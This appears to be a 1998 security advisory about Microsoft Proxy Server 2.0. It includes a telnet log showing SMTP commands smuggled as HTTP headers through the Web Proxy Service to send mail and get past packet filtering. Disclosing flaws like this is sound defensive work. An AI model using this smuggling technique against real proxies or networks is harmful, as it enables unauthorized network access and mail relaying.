Whilst playing around with Microsoft's Proxy Server 2, I came across an interesting "feature" that could allow someone to by-pass packet filtering if enabled. The essence of the "exploit" is to connect to a remote host on a given port - in the example provided I have used the SMTP port (25) - through the Web Proxy Service. What you attempt to do is disguise service-specific commands as HTTP headers. Below is a log of a telnet session where I've telnetted to the Web Proxy Service, made a GET request and passed off the SMTP commands as HTTP headers : ------------------------------------------8<-------------------------------- ---------- GET http://smtpmail.globalnet.co.uk:25/ HTTP/1.0 mail from: meat_private rcpt to: mnemonixat_private data : Subject: This is the Subject Line : This is the body of the message. To get here do a Ctrl+J. To place a single dot on a line do another Ctrl+J . 220 sand2.global.net.uk ESMTP Exim 1.92 #1 Wed, 7 Oct 1998 06:51:37 +0100 500 Command unrecognized 500 Command unrecognized 500 Command unrecognized 250 <meat_private> is syntactically correct 250 <mnemonixat_private> is syntactically correct 354 Enter message, ending with "." on a line by itself 250 OK id=0zQmVd-0007md-00 500 Command unrecognized 500 Command unrecognized ------------------------------------------8<-------------------------------- --------- If the packet filter only allows incoming HTTP requests and the Web-Proxy Service gives Everybody access this could be used to gain entry to the "protected" network. This was tested on NT Server 4.0, Service Pack 3 with important hotfixes, IIS 3.0 and MS Proxy 2.0 l8r Mnemonix http://www.diligence.co.uk/ http://www.infowar.co.uk/mnemonix
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